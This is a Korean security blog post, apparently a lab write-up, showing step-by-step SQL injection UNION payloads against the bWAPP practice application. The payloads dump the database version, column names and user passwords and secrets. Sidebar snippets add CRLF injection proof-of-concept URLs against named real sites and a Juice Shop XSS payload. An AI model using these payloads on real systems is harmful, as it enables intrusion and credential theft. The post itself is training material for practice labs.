bWAPP SQL Injection [ AJAX/JSON/jQuery ]

bWAPP SQL Injection [ AJAX/JSON/jQuery ] Current : low

한 글자만 입력해도 검색한 글자가 존재하는 검색 내용이 아래와 같이 출력됩니다.

따라서 'UNION ALL SELECT 1,2,3,4,5,6,7# 를 통해 아래와 같이 칼럼 길이를 구합니다.

구한 칼럼 길이를 통해 'UNION ALL SELECT 1,@@version,@@datadir,database(),5,6,7# 를 통해 데이터 베이스의 정보를 아래와 같이 획득하는것을 확인할 수 있습니다.

따라서 , 'UNION SELECT 1,column_name,3,4,5,6,7 from information_schma.columns# 를 통해 데이터 베이스의 추가 정보를 획득합니다.

다음과 같이 login , date , password , secret , eamil 등 다양한 정보를 획득이 가능합니다.

획득한 정보를 가지고 이제 'UNION SELECT 1,id,password,secret,email,6,7 from users# 를 통해 아래와 같이 중요 정보를 획득할 수 있어 SQL Injection 에 취약합니다.

이 블로그의 인기 게시물

HackerOne Vulnerability Analysis 1

이 문서는 HackerOne 에서 제출된 많은 보고서들을 토대로 핵심 Payload만 요약하여 직접 작성하였습니다. Link : https://hackerone.com/ Vulnerabilities list 1. CRLF Injection 2. Open Redirection 3. Cross-Site-Scripting 4. SQL-Injection 5. Path Traversal CRLF Injection PoC http://www.myshopify.com/xxcrlftest%0aSet-Cookie:test=test3;domain=.myshopify.com; https://www.blackfan.myshopify.com/xxx%0aSet-Cookie:test=test2;domain=.myshopify.com; HTTP Response: HTTP/1.1 302 Moved Temporarily ... Location: http://myshopify.com/xxcrlftest Set-Cookie:test=test;domain=.myshopify.com; PoC: https://engineeringblog.yelp.com/xxcrlftest%0d%0aSet-Cookie:%20test=test;domain=.yelp.com HTTP Response: HTTP/1.1 301 Moved Permanently ... Location: http://engineeringblog.yelp.com/xxcrlftest Set-Cookie: test=test;domain=.yelp.com PoC (Chrome, Internet Explorer) http://gratipay.com/%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; HTTP Resp...

자세한 내용 보기

Juice Shop XSS [ Dom based XSS ]

Juice Shop XSS [ Dom based XSS ] Search 입력란에 악성 스크립트를 넣어 XSS 취약점을 진단합니다. Payload : <iframe src="javascript:alert(`xss`)"> 다음과 같이 이는 < , > 는 < , > 로 특수문자를 필터링하지 않기에 XSS 에 취약합니다.

자세한 내용 보기

Vulnerability analysis tool

Vulnerability analysis tool List of tools you use 1. Burp-Suite- Link 2. Sqlmap- Link 3. Nikto- Link 4. DirBuster - Link 5. lazyrecon- Link 6. Nmap- Link This site is a reference for finding vulnerabilities more efficiently. 1. google hacking- Link 2. exploit-db- Link 3. Shodan- Link 4. SSL Labs Server Test- Link 5. CVE-mitre - Link

자세한 내용 보기

이 블로그 검색